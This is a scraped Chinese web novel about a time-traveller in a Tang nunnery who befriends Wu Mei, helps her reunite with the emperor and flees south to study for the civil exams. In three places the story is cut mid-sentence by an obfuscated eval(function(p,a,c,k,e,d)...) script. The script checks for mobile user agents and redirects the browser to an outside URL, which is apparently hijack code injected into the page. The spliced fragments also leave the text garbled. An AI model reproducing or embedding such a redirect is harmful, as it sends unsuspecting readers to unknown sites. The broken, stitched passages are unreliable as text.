《绑定宫斗系统,我却背靠武皇考状元》 1. 不要宫斗要科举 崔应真睁开眼的时候,闻见一股劣质线香的呛味儿。 她第一反应是:床头新买的香薰味道太差,必须退货。 第二反应是:不对。 她低头,看见自己穿着一身灰扑扑的粗布衣裳,料子硬邦邦的,袖口还磨得起了毛边。 跪着的膝盖底下是冰凉的石板地,前面是一尊佛像,旁边是一群尼姑,全低着头,嘴里念念有词。 崔应真脑子里轰的一声。 下一秒,眼前凭空冒出一块光屏,上头几行字差点闪瞎她的眼: “恭喜宿主绑定宫斗系统! 任务:提升皇帝好感度,获取积分,兑换道具,走上人生巅峰! 新手大礼包已发放,请查收。” 崔应真盯着那光屏看了足足五秒,然后缓缓闭眼。 她前世可是汉语言文学专业的,对于古代历史以及学术颇有研究,老天给她机会教她穿越至此,必然是要她发挥出自己的满腹经纶来! 只是......宫斗? 透过佛像前的铜台中的倒影,崔应真仔细端详起自己的容貌来。 倒影中的女子虽然有些模糊,却也能看到一双柳眉似蹙非蹙,眼波软软的,总像蒙着层雾气。 她脸色有些苍白,青丝用木簪松松挽着。脖颈纤细,薄肩如裁,一身素衣显得人更单薄了。 这幅相貌倒是与她前世一般无二,崔应真略放心了些。 罢了,就让自己的学识来震惊这些古代妃子吧! 可现在她跪在哪儿?尼姑庙。 唯一称得上幸运的就是她属于新来的一批尼姑,尚未剃度,要等到一个专门的日子与其他新尼姑一起。 思及此处,崔应真暗暗心想,一定要在梯度前离开这个鬼地方!她可不想当史上第一个被剃光头的穿越女。 旁边有人拿胳膊肘捅她,压低声音:“惠安,师太看你呢。” 崔应真,现在法号惠安,赶紧低头,装模作样地跟着念经。 念完经,众尼姑三三两两往外走。崔应真混在人群里,竖起耳朵听。 “……那个超凡,昨儿夜里又去后山了,净尘师姐亲眼瞧见的。” “真的假的?后山那地方,天黑了连只野猫都不去,她去那儿做什么?” “还能做什么?等人呗。宫里出来的,就是闲不住......” “嘘——小声点,过来了。” 崔应真顺着她们的目光看过去,然后愣住。 那人穿着和所有人一样的灰缁衣,戴着一样的灰僧帽,可那身灰扑扑的布在她身上,愣是穿出了锦缎的感觉。 她走得不快,背脊挺直,每一步都稳稳当当。阳光照在她脸上,那眉眼明艳得压都压不住,像一块上好的玉,蒙了灰也挡不住光泽。 崔应真心里咯噔一下。 宫里出来的尼姑,气质不凡,再加上不甘现状......一种不好的预感涌上心头。 “系统,我现在在什么朝代,这位尼姑叫什么?” “宿主大大,现在是唐朝永徽元年二月十七,皇帝李治当朝。此人正是武则天的尼姑时期,武媚哟。” 武、武则天? 也就是说,眼前这位,就是以后要当女皇的人,是她的潜在宫斗对象? 她要和武则天抢男人? 崔应真倒吸一口凉气。她再傻也知道,历史上武则天是什么人物——把王皇后萧淑妃收拾得骨头都不剩,最后自己登基当皇帝的主儿。 和这种人宫斗,她有几条命? 武媚走到她旁边时,忽然顿住脚步,偏头看了她一眼。 那眼神淡淡的,却让崔应真后脖颈一凉。就一眼,那人就收回目光,继续往前走,好像只是随意扫过一个不认识的年轻尼姑。 旁边一个面皮白净的尼姑嘀咕:“看什么看。” 崔应真心里却在戳系统:系统系统,新手大礼包有啥快让我看看! 光屏弹出来: “新手大礼包: 1. 注目香囊×1(使用后,可使周围人对宿主的关注度提升200%,持续一炷香) 2. 幻影帕×1(将帕子覆在脸上,可在他人眼中幻化成任意一张见过的人脸,持续一盏茶工夫,限用一次。) 3. 应急小药丸×2(关键时刻保命用,具体功效随机)” 崔应真:……这都是些啥?注目香囊?嫌她不够显眼是吗?应急小药丸还随机功效,这也太不靠谱了,这个幻影帕倒是比较有用。 她叹了口气,把这破系统暂时抛到脑后,跟着人群往斋堂走。可心里那根弦一直绷着,武媚就在她旁边住着,以后要和她抢同一个男人,这事儿怎么想怎么悬。 崔应真去后山捡柴,一边捡一边思考着。 要攻略皇帝,可不止争宠这一条路。前世她好歹是汉语言专业的大学生,若不充分发挥一下自己的学识优势而是囿于后宫的一亩三分地,不仅可能会死得很惨,还会浪费自己的满腹才华! 与其和武则天抢,不如换个思路,和她结盟。 崔应真顿了顿,盯着手中的木柴发呆。这念头一冒出来,就再也压不下去了。 前世,她寒窗苦读十来年,最擅长的是什么?必须是考试啊!若是能在古代考个状元,岂不是不负此生? 待她入朝为官,为皇帝出谋划策,指点江山之时,还怕皇帝对她的好感度不增加么? 而且武媚这人,做敌人可怕,做盟友,那可就是天大的靠山。 打定主意后,她抱着柴火往寮房走,忽然听见前头有动静。 几个尼姑围在武媚的房门口,净尘站在最前面,手里举着个东西,脸上的表情像是抓到了什么了不得的把柄。 “这是什么?你倒是说说,这是什么!” 崔应真凑过去看。净尘手里举着一块男子用的汗巾子,颜色灰扑扑的,料子却不错,瞧着不像寺里人用的东西。 武媚站在门口,脸上没什么表情,只道:“不知道。” “不知道?”净尘把那汗巾子往人堆里一亮,“昨儿夜里有人亲眼看见你往后山去,今儿就从你屋里翻出这东西来,你不知道?” 旁边立刻有人附和:“对对对,我也瞧见了,昨儿夜里她一个人往后山走的。” “后山那地方,平时连只野猫都不去,她去那儿做什么?” “呸!出家人不守清规,私会男人,这要传出去,咱们感业寺的脸往哪儿搁?” 人群里嗡嗡地议论起来。武媚的脸色还是淡淡的,可崔应真注意到,她垂在袖子边的手指,微微动了一下。就那么一下。 然后慧明师太来了。 师太看了那汗巾子一眼,又看武媚,声音不紧不慢:“超凡,这是怎么回事?” 武媚抬起头:“回师太,弟子不知。这汗巾子不是弟子的。” “不是你的?那怎么会从你屋里翻出来?”净尘嗓门又高起来。 “师太,这事儿可不能轻饶!私会男人,败坏佛门清静,这是要逐出寺门的!” 师太没说话,只是看着武媚。武媚也看着她。两个女人对视,空气都像冻住了。 崔应真站在人群后面,脑子里飞速转着。 这事儿摆明了是栽赃。武媚又不傻,真要私会男人,怎么可能让人看见往后山走,还把汗巾子留在屋里等着人搜? 武媚站在那里,背脊挺得笔直,脸上连一丝慌乱都没有。就好像这些人的话,跟她没有半点关系。 诬陷这种事,得讲究证据,不可能一下子就定案吧。崔应真心想。 师太果然没有当场处置。她收了那汗巾子,沉声道:“此事尚待查证,超凡禁足房中,不得外出。其余人,都散了。”说完转身走了。 人群慢慢散开,崔应真往回走,心里乱糟糟的。 第二天一早,事情又有了新动静。 净尘不知从哪儿弄来个证人,一个负责打扫后山小路的老尼姑,平时话不多,但人都说她老实本分。 老尼姑被带到师太跟前,说昨儿夜里她亲眼看见武媚往后山走,走到林子边就不见了,等了小半个时辰才出来。 这话一出,事情更大了。 崔应真正在斋堂喝粥,听见这消息,差点呛着。这栽赃的戏码,演得还挺全套。先是物证,再是人证,一环扣一环,分明是早有预谋。 她端着粥碗往外走,正好看见武媚被禁足的那间屋子。房门紧闭,里头一点动静都没有。 被人这样诬陷,换了一般人早急得团团转了,可武媚倒好,跟没事人似的,连个辩解都没有。 第三天,事情闹得更凶了。 净尘把老尼姑拉到佛堂前,当着众人的面又细细说了一遍,说得有鼻子有眼,连武媚什么时候去的、什么时候回的、穿的什么衣裳都说得一清二楚。 人群里开始有人喊: “把她逐出去!” “败坏门风,不能留!” 崔应真站在人群后面,看着武媚被从屋里带出来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334358|199215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她还是那副样子,脸上淡淡的,看不出什么表情。可崔应真注意到,她的目光从人群里扫过时,在几个人的脸上停留了一瞬——净尘,作证的老尼姑,还有几个跟着起哄的。 那眼神很轻,很快,可崔应真莫名觉得,她在记人。 师太开口了:“超凡,你还有什么话说?” 不等旁人开口,崔应真忽然听见自己说:“师太,弟子有话说。” 话出口的瞬间,她就后悔了。可已经晚了,所有人转过头来看着她。 崔应真硬着头皮挤出人群,走到师太跟前,福了一福。她心跳得厉害,脸上却努力挤出个笑:“师太,弟子只是想问问师姐几个问题。” 师太看着她,点了点头。 崔应真转向那个说看见武媚出去的老尼姑,笑得温温柔柔:“周师姐,您昨儿夜里戌时末,在后山看见超凡师姐,是吗?” 老尼姑点头。 “您当时在哪儿?” “在……在林子里捡柴。” 崔应真点点头,“那您看见超凡师姐的时候,她穿着什么衣裳?” 周尼姑想了想:“就是......僧衣。” “僧帽呢?戴了没有?” “戴……戴了吧。” 崔应真又问:“您看见她的时候,她是一个人,还是身边有别人?” “一个人。” “她从哪个方向来?往哪个方向去的?” 老尼姑说得磕磕巴巴,越说越不自在。崔应真又问了两句,忽然停下来,歪着头看她:“师姐,您昨儿夜里去后山捡柴,捡着什么了?” 老尼姑一愣:“什么?” “您去捡柴,总得捡回点什么来吧?捡了多少?放在哪儿了?” 老尼姑张了张嘴,说不出话来。 崔应真笑了笑,没再追问,转身对师太说:“师太,弟子问完了。” 她其实什么也没问出来,可她那几个问题一抛出来,老尼姑的证词就开始不对劲了。 说看见武媚,可武媚穿着什么、从哪儿来、往哪儿去,她一句也说不清。说去捡柴,可柴呢?没有。 人群里开始有人小声嘀咕。 师太沉默了好一会儿,最后说:“此事尚有疑点,容后再查。都散了吧。” 人群慢慢散了,崔应真往回走,腿有点软。 她刚才那些问题,其实是临时起意。注目香囊她没用,她就是想赌一把,赌这个老尼姑是被人指使的,肯定有破绽。没想到赌对了。 可赌对了又怎样?事情还没完。 想到这里,崔应真不禁叹了口气。 她一介女儿身,若是想走科举这条路,必须得有人做靠山支持才行,而即将回宫的武则天无疑是最好的选择。 可问题是,武则天凭什么信她?就凭今天那几句不痛不痒的问话?差远了。 崔应真叹了口气,心想得慢慢来,急不得。 门外忽然传来轻轻的叩门声。 “谁?” 没人应。她爬起来开门,门槛上放着一个粗陶碗,碗里是两块蒸糕,还冒着热气。 旁边压着一张纸条,上头的字迹娟秀:“今日多谢。夜寒,早些歇。” 崔应真捧着那碗蒸糕,站了好一会儿。 她忽然觉得,这个大腿,好像可以抱一抱。 第二天一大早,崔应真就来到武媚的屋子门口,轻轻敲了敲门。 “谁?” “我,惠安。” 门开了。武媚站在门口,看着她,脸上还是那副淡淡的模样。 崔应真笑了笑:“昨天的蒸糕,谢谢。” 武媚看着她,没说话,只是示意她进来后把门关上了。 崔应真又说:“那事儿还没完,你打算怎么办?” 武媚看着她,忽然弯了弯嘴角,很淡很淡,快得像是错觉:“你觉得呢?” 崔应真想了想,说:“汗巾子是谁放的,你知道吧?” 武媚没说话。 “知道就好办。”崔应真压低声音,“我帮你。” 武媚看着她,眼神里有一点点意外,还有一点点别的什么。 “为什么帮我?” 崔应真一本正经道:“说出来你可能不信,我想考科举,想求你帮我。” 武媚的动作一顿,一时间搞不清崔应真是不是故意逗她笑,却又看她那副认真神情不似作假,不禁感到一阵惊诧。 一个女人,居然想考科举,想当官? 2. 圣驾亲临 翌日 武媚叠好素麻薄被,出房门用井水扑了扑脸,冷意能让她神智清醒,也时刻提醒着她,自己不属于这里。 踏入佛堂,檀香混着旧木的气味涌来。 武媚跪在蒲团上,合掌时掌心有薄茧相触的粗糙感,这是从前那种生活绝不会带给她的。 她不是没有想过真正融入这里,也尝试着去享受青灯古佛的宁静淡然,结果当然是无法接受。 表面上与其他尼姑做的一般无二,念经、诵佛、清心寡欲。可只有她自己才知道,每当想到有人过着金尊玉贵,指点江山的日子,她心里有多么不甘。 有时她会想象坐在那张最尊贵椅子上的人是自己,她自会稳朝堂,安社稷,平边疆! 每每想到此处,她的胸腔里就彷佛燃烧着一团火。 昨日听了崔应真的话后,武媚自然感到惊诧。但比起崔应真的大胆,更令武媚惊讶的是自己竟然并不觉得她僭越、思想不端,反而心底里涌起一股欣赏之情。 经过一晚的彻夜长谈,她发现这个十七岁的小姑娘果真满腹才华,学识惊人,若是科举必能高中。 若是自己能顺利回宫,崔应真或许能成为自己的一大助力。 第四天早上,慧明师太把净尘和老尼姑叫到禅房,没让旁人进去。 没人知道里头说了什么,只看见净尘出来时眼眶红着,灰溜溜往后院去了。当天下午,师太当着众尼的面说了几句“寺规森严,不得妄言”之类的话,武媚被污蔑事就算结了。 那汗巾子被师太收了去,再没人提过。 崔应真蹲在后院井边洗衣服,净尘从她旁边走过,狠狠剜了她一眼。 晚上,崔应真端着一碗粥去找武媚。武媚的禁足已经解了,正坐在屋里对着窗外的月光发呆。见她进来,点了点头。 “师太今儿个……”崔应真把粥放下,压低声音,“就这么算了?” 武媚看了她一眼,嘴角弯了弯:“不然呢?闹大了,对谁都没好处。净尘是她的人,真查下去,丢的是她的脸。” 两人就着那碗粥聊了许久。武媚问她怎么来的感业寺,她胡编了一套家道中落的瞎话。 武媚听着,也不追问,只是偶尔点点头。崔应真发现,这人话不多,可每一句都在点子上,听着听着,她倒把自己真实的那点心思说了出来,想回宫,想出人头地,不想在这破庙里念一辈子经。 武媚听完,看了她好一会儿,问:“你就不怕我?” 崔应真一愣。 “知道我是谁吧。”武媚的语气很淡。 崔应真心跳漏了一拍,老实点头:“知道。” “那你还敢往我跟前凑?” 崔应真想了想,说:“姐姐这样的人,得罪不起,那还不如……早点跟着。” 武媚没接话,只是看着她。那眼神让崔应真心里发毛,可她知道,这时候不能躲。 过了好一会儿,武媚忽然笑了,很淡很淡,快得像是错觉:“有点意思。” 崔应真松了口气,脑子一热,压低声音说:“姐姐,我有个事儿想跟你说。” “说。” “我算过日子,”崔应真压着嗓子,“五月底,皇上可能会来。” 武媚的眼神瞬间变了,盯着她:“你说什么?” 崔应真心里打鼓,面上却装得镇定: “我……我瞎琢磨的。皇上刚登基,今年是先帝周年忌日,按规矩得来行香。感业寺离宫近,又是皇家寺庙,再加上日子——五月二十六宜祭祀,是个好日子。” 她掰着手指头,“我就是瞎猜,万一呢……” 武媚盯着她看了很久,久到崔应真后背都冒汗了。 “你怎么知道这些?”武媚问。 五月二十六,与武媚从宫里打听出来的日子分毫不差。 崔应真硬着头皮:“我爹以前在礼部当差,我耳濡目染,记了些。” 武媚又看了她一会儿,忽然笑了。这次的笑跟刚才不一样,带着点认真。 “你倒是……有几分本事。”她顿了顿,“应真,我若能回宫,必不亏待你。” 崔应真心跳得厉害,面上却笑得乖巧:“姐姐说这话就见外了。” 武媚看着她,说:“你不是要科考?我会给你想办法。” 五月二十六那天,天还没亮透,感业寺就忙起来了。 山门外头,禁军的队伍一眼望不到头。 盔明甲亮,旗帜招展,马蹄声、脚步声、号令声,隔着一道墙都听得清清楚楚。崔应真偷偷扒在门缝往外看了一眼,倒吸一口凉气——这排场,比电视上演的夸张多了。 “别看了。”武媚的声音从身后传来。她穿着最寻常的灰僧衣,可站在那里,愣是比所有人都显眼。 崔应真小声说:“姐姐,待会儿按咱们说的……” “嗯。”武媚点点头,“你那边,自己小心。” 巳时正,皇帝的仪仗进了寺门。 慧明师太领着众尼在大殿前跪迎。崔应真跪在后排,低着头,余光却悄悄往上瞄。 明黄色的身影从眼前过去,她只来得及看见一个侧脸。年轻,带着点疲惫,可那气度,确实跟普通人不一样。 系统忽然弹出来: 【目标人物:李治】 【当前好感度:0】 崔应真:……好嘛,纯陌生人。 行香的仪式繁得很。 上香,跪拜,念经,一套下来折腾了小半个时辰。崔应真跪得膝盖都麻了,好不容易仪式结束,皇帝要去后殿歇息。 就是现在。 人群开始移动,崔应真瞅准时机,袖子里暗暗攥住系统给的瞩目香囊,深吸一口气。 她从人堆里挤出去,装作是去后头取东西,恰好跟皇帝的仪仗迎面碰上。按理说她该退到一边低头跪着,可她却像是被什么绊了一下,身子一歪,正好倒在仪仗前头。 “哎哟——” 这一声不大,可足够让周围的人都看过来。 香囊的效力瞬间发作。一股极淡的冷香以她为中心散开,那香气不知道怎么的,就是让人忍不住想多看两眼。好几个禁军的目光都落在她身上,连捧着香炉的宦官都顿了一下。 “什么人?”前头有人喝问。 崔应真赶紧爬起来,低着头,声音又软又颤:“贫尼……贫尼冲撞圣驾,罪该万死。” 她垂着头,可那样子,任谁看了都觉得,这尼姑长得真好。 李治坐在步辇上,本来没在意,可那股香气飘过来,他下意识看了一眼。就这一眼,他忽然看见了人群后头一个灰扑扑的身影趁机往后殿跑去了。 那身影一闪就消失在廊柱后头,可他的心跳漏了一拍。 “那边……”他开口。 王得胜立刻凑上来:“陛下?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334359|199215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李治顿了顿,说:“行了,都起来吧。朕去后殿歇息。” 仪仗继续往前走。崔应真被两个禁军带到一边盘问了几句,她装得可怜兮兮的,说是脚滑,最后被训斥两句就放了。 等她再抬头看时,那抹灰扑扑的身影早就不见了。 后殿的禅房里,李治坐下,茶刚端上来,他忽然说:“朕出去走走,你们别跟着。” 王得胜愣了一下:“陛下,这……” “就在院子里。”李治说着已经起身往外走。 后殿后头有片小竹林,他鬼使神差就往那边走。竹叶沙沙响,遮住了脚步声。走到林子深处,他忽然听见一阵极轻的声响。 回头一看,一个灰衣尼姑正蹲在地上捡竹枝。 那人听见动静,慢慢直起身,转过来。 四目相对。 那张脸,李治已经整整一年没见到了。 她清减了,瘦了,可眉眼还是那样,即使在灰扑扑的僧衣里,也藏不住风华。那僧帽包着头,没了满头青丝,可衬得那张脸更素净、更好看。 武媚手里的竹枝“啪”掉在地上。她看着他,眼睛瞬间就红了,嘴唇抖着,一个字都说不出来。 “媚娘……”李治脱口而出。 她身子一颤,眼泪就下来了,无声无息地流了满脸。她想跪下去,可膝盖一软,直接跌在地上。 李治两步上前,一把扶住她。 “陛下……”她的声音哑得不成样子,带着哭腔,可又拼命压低,“陛下怎么……怎么在这里……” 李治把她扶起来,看着她脸上的泪,自己眼眶也热了。他想说好多话,想问这一年她过得好不好,想说他经常想起她,可说出口的只有一句:“你……瘦了。” 武媚听到这话,眼泪流得更凶了。 李治抱着她,心里又酸又疼。朝堂上的那些糟心事,皇后与萧淑妃的争风吃醋,没有人真正懂他。 武媚抬起头,泪眼朦胧地看着他,伸手轻轻抚过他眉间:“陛下的眉头,总是这样皱着。从前在先帝书房里,你一遇到难事,也是这样。” 这话像一把钥匙,打开了他心里最柔软的地方。他握住她的手,贴在脸上,闭着眼,一句话都说不出来。 后来的事,谁也没多说什么。 竹林深处有间旧柴房,堆着些干草。两人进去时,阳光从破窗里照进来,照在她灰色的僧衣上。僧帽落了地,露出光光的头,可那一刻,李治只觉得她比任何满头珠翠的妃嫔都好看。 那是一种不一样的美丽,脆弱的,干净的,又带着说不出的风情。 过了很久,两人才从柴房里出来。武媚帮他理了理衣袍,自己重新戴好僧帽。她脸上泪痕已干,眼角微红。 “陛下该回去了。”她低声说,“出来太久,该有人找了。” 李治看着她,万般不舍:“你……再等等朕。朕一定会想办法。” 武媚点点头,没多说,只深深看了他一眼,然后转身,快步消失在竹林深处。 李治站在原地看了很久,直到王得胜的声音从远处传来:“陛下?陛下……” 他深吸一口气,转身往回走。 前院里,崔应真正蹲在角落里,装着收拾香炉。她看见武媚从后头出来,两人眼神对了一下,谁也没吭声。 等皇帝的仪仗走了,崔应真溜回屋里,往床上一躺,长长吐了口气。 3. 假死脱身 那天之后,感业寺的气氛就变了。 每隔三五日,就有宫里的赏赐送进来。不是给寺里,是给“超凡法师”的。 有时是几匹素绢,有时是新抄的经卷,有时只是一盒点心,说是“皇后娘娘念着寺里清苦”。可谁不知道皇后娘娘跟这位压根没见过面? 慧明师太收了东西,脸上淡淡的,什么都没说。底下人也就跟着装糊涂,反正赏赐又不是给她们的,犯不着出头。 武媚照常抄经,照常做早晚课,只是偶尔会在夜里出去一趟,把写的信送出去。 崔应真知道那些信去了哪儿。有时候是她帮着递的,有时候是那个叫张顺的小太监趁着送东西的工夫悄悄带走。 就这么过了七八天。 那天夜里,崔应真刚躺下,门轻轻响了两下。她爬起来开门,武媚站在外头,月色底下,脸看不太清。 “跟我来。” 两人绕到后山那片竹林里,就是上次皇帝来时的老地方。月光从竹叶缝里漏下来,一地碎银子似的。武媚站定,转过身看她。 “应真,你得走了。” 崔应真愣了一下。 “宫里那边来信了,”武媚的声音压得很低,“我大概要回去了。你夜里动身,从后山那条小路出去,山脚下有辆牛车等着,送你到渭南,再换船走水路去江南。” 崔应真张了张嘴,一时不知道该说什么。她知道这一天会来,可真来了,心里还是慌得很。 武媚从袖子里摸出一个布包,塞进她手里:“盘缠都在里头,二十贯钱,够你用一阵子了。还有一封信,你收好。” “信?” “给我姨母的。”武媚顿了顿,“我母亲是弘农杨氏,她有个远房堂侄女,嫁到苏州吴县一户姓崔的人家。算起来是我表姨,你得叫她一声姨母。她丈夫也姓崔,正好跟你同姓。日后你在那边,就说你是她娘家远亲,来投奔的。信里我写清楚了,她会照应你。” 崔应真接过那布包,沉甸甸的,压得手心里微微冒汗。 武媚又递过来一个小包袱:“这包里头是一身男装,还有幞头。明天夜里换上,头发得全束起来,记住了?” 崔应真点点头,鼻头莫名有些发酸。 武媚看着她,忽然沉默了一会儿。月色底下,那张脸比白天柔和些,可眼神还是那么沉。 “应真,这一路不好走。水路颠簸,路上什么人都有,你得机灵点。” 崔应真应了一声,忽然觉得鼻子有点酸。 “姐姐,你……” “我没事。”武媚打断她,“寺里的事,我自有分寸。你只管把自己顾好。” 两人就那么站着,竹林里沙沙响。 “那……咱们以后还能见着吗?”崔应真问。 武媚看着她,嘴角弯了弯,很淡很淡:“你在吴县好好读书,科考考上了,自然能来长安。我在宫里,总有办法。” 崔应真心里一动,忽然想起自己好像忘了什么事。 “姐姐,我有个事儿想跟你说。”她压低声音,“我爹以前在礼部当差,听他说过一些朝里的事。有两件事,姐姐心里有个数。” 武媚看着她,没说话。 “头一件,是那个长孙无忌。”崔应真绞尽脑汁回忆历史,“他虽然是先帝托孤的,可跟皇上……怎么说呢,迟早得对上。姐姐日后要是回了宫,这人得防着点。他手下那帮人,褚遂良什么的,都不是省油的灯。” 武媚的眼神动了动。 “第二件,是那个许敬宗。”崔应真继续说,“这人名声不怎么样,可他会钻营。姐姐日后要是想在朝里用人,这人……或许用得上。” 她说得含糊,可武媚听得很认真。月光底下,那张脸看不出什么表情,可崔应真知道,她都记下了。 “你爹倒是知道不少。”武媚说。 崔应真心虚地笑笑:“耳濡目染,耳濡目染。” 武媚看了她一会儿,忽然说:“应真,你是个人才。” 崔应真被她看得心里发毛,赶紧摆手:“姐姐别这么说,我就是瞎琢磨。” “琢磨得好。”武媚说着,从袖子里又掏出一个小东西,塞给她,“这个你拿着。路上万一有什么事,或许用得着。” 崔应真低头一看,是个小小的木雕人偶,雕工粗糙得很,不知是什么木头做的。 “这……” “替身人偶。”武媚的声音很轻,“是我娘小时候给我的,说能挡灾。我这些年一直带着,也没用上。你拿着,比放我这儿有用。” 崔应真握着那个小人偶,忽然不知道该说什么了。 月亮被云遮住了,后山黑得伸手不见五指。崔应真换好那身男装,头发紧紧束起来,外面裹了幞头,像个半大的小子。 武媚把她送到竹林边,停住脚步。 “ 就送到这儿。” 崔应真看着她,忽然扑过去抱住她,抱了一下就松开,怕自己哭出来。 “姐姐,你保重。” “嗯。”武媚应了一声,顿了顿,“到了那边,好好读书。科考的事,我记着呢。” 崔应真点点头,转身就走,不敢回头。走出十几步,忽然听见身后传来一声: “应真。” 她站住,没回头。 “路上小心。” 崔应真使劲点点头,抬脚就走,眼泪终于掉下来了。 后山那条小路窄得很,两边的灌木刮得衣裳刷刷响。她深一脚浅一脚走了大半个时辰,才看见山脚下一团模糊的影子,是辆牛车,车辕上蹲着个人,笼着件破袄子。 “崔……”那人抬头,声音苍老,“崔郎?” 崔应真愣了一下才反应过来是在叫自己,赶紧点头。 “上车吧,得赶在城门开之前到渡口。” 崔应真走的第二天一早,武媚就去了后山。 她在竹林边那处悬崖底下待了小半个时辰,回来时眼圈红着,僧袍上沾了泥和草叶子。 回来后,武媚直接去找了慧明师太,说惠安早起去后山捡柴,不小心滑了脚,从崖上摔下去了。她找了半天,只在崖底找到一只鞋和几片衣裳碎片,人大概是被山里的野兽拖走了。 慧明师太看了她一眼,没多问,只让人去后山看看。回来的尼姑说崖底确实有血迹,还有撕烂的僧衣,瞧着是叫野狗拖走了。 师太点点头,让在寺里给惠安立个牌位,念两天经,这事就算完了。 可寺里人的嘴是封不住的。 “你瞧见她那样子没有?眼圈红是红了,可一滴泪都没掉。” “我跟你讲,那天皇上来的事,惠安可是冲撞了仪仗的。武媚那人,心思深着呢……” “惠安长得那样好,皇上万一再来……” 话说到这份上,就不用往下说了。净尘那几个人私下里咬耳朵,说武媚容不下惠安,借着后山那地方把人收拾了。那悬崖是不高,可要是被人推下去,也一样没命。 这话传了几天,传到武媚耳朵里时,她正坐在屋里抄经。 那些人说什么,她压根不在乎。 应真这会儿应该已经在去渭南的路上了,穿着那身男装,头发束得紧紧的,坐在牛车里一晃一晃地走。 牛车晃晃悠悠走了三天才到渭南。一路上住的都是最便宜的车马店,吃的都是干饼子就凉水。崔应真头一回坐这种车,骨头都快散架了,可硬是咬着牙没吭声。 从渭南换船,沿着渭水往东,再转汴渠,一路颠簸了十来天。 船上什么人都有,卖货的、走亲戚的、赶考的穷书生。崔应真不敢多说话,只装哑巴,听人家聊天。夜里睡在船舱最里头,把那个布包枕在脑袋底下,一夜要醒好几回。 有一回船靠岸补给,她下去买干粮,差点被人挤散了,吓得她攥紧包袱,手心全是汗。 这么一路提心吊胆,总算到了苏州。 崔应真骨头都快散架了。她缩在车角,裹着件破袄子,迷迷糊糊正要睡着,脑子里忽然“叮”的一声。 “系统重启中……” “检测到宿主当前坐标:距离长安约八百里。 检测到宿主与目标人物李治距离:正在急速拉远,宿主严重偏离宫斗主线! 建议立即返程!建议立即返程!” 崔应真一个激灵清醒过来,差点从车上滚下去。 十来天在路上,系统都没反应,她差点儿都要以为是不是解绑了。 “系统休眠中,未能及时监测宿主动向。请宿主说明当前情况。” 崔应真深吸一口气,在心里解释:“我在去江南的路上。不是偏移主线,提升自己才能更好获得皇帝好感度啊!” “系统无法理解。宫斗需要在皇宫进行,宿主离皇宫越远,完成任务概率越低。” “你懂什么?”崔应真略一思考,哄骗系统道:“道宫斗文看过没?女主在宫外靠才华出名,传到皇帝耳朵里,皇帝对她好奇,然后召见——这是经典套路。我这是在走剧情!” 系统沉默了一会儿。 “检索中……检索中…… 发现支线任务体系:宿主可通过提升自身名望、才学、技能,间接影响目标人物好感度。 是否开启支线任务——学成归宫?” 崔应真眼睛一亮:“开启开启!” “支线任务——学成归宫已开启。 任务目标:积累声望,提升才学,为重返宫廷做准备。 当前进度:0%。” 崔应真松了口气,重新缩回车角。外头赶车的车夫吆喝了一声,牛车继续晃晃悠悠往前走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334360|199215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从苏州码头再雇车往吴县走,又走了大半天。到了吴县城外的时候,太阳已经偏西了。 崔应真按着信上的地址,努力辨认着方向,不敢过多打听,费尽千辛万苦总算找到一条巷子深处。 巷子很窄,两边是寻常人家,墙矮矮的,院门旧旧的。她找到其中一户,门板上的漆都剥落了,门环也生了锈。 她敲了敲门。 里头没动静。又敲了几下,才听见脚步声。 门开了条缝,一张女人的脸探出来,四十来岁的样子,面容清瘦,眼眶底下发青,一看就是好些天没睡好。 “你找谁?” 崔应真嗓子发干,掏出那封信递过去:“是……是杨姨母吗?我姓崔,从长安来,有人托我带封信。” 杨氏接过信,低头看了一眼,脸色忽然变了。她一把拉开门,把崔应真拽进去,又把门紧紧关上。 “你等着。” 她站在院子里拆开信,看了几行,手就开始抖。看到最后,眼泪扑簌扑簌往下掉。 崔应真站在旁边,手足无措。 杨氏哭了好一会儿,才抬起头看她,声音抖得厉害:“是……是媚娘让你来的?” 崔应真点点头。 杨氏又哭了,这回是捂着脸哭,肩膀一耸一耸的。崔应真不知道该说什么,只能干站着。 哭完了,杨氏抹了把脸,声音沙哑:“进来吧。” 屋里比外头还破旧。一张方桌,几条板凳,墙角堆着些杂物,里头那间屋半掩着门,被子掀开着,枕头歪在一边,可床上是空的。 崔应真心里咯噔一下。 杨氏顺着她的目光看过去,眼泪又涌出来了。 “我儿子……昨儿个夜里咽的气。” 崔应真愣住了。 杨氏擦着泪,断断续续说:“他爹前年走的,就剩我们娘俩。他身子一直不好,这回病了一个多月,家里能当的都当了,药钱花光了,人还是没留住……昨儿后半晌他精神还好些,跟我说想吃糕,我出去买,回来他就……” 她说不下去了。 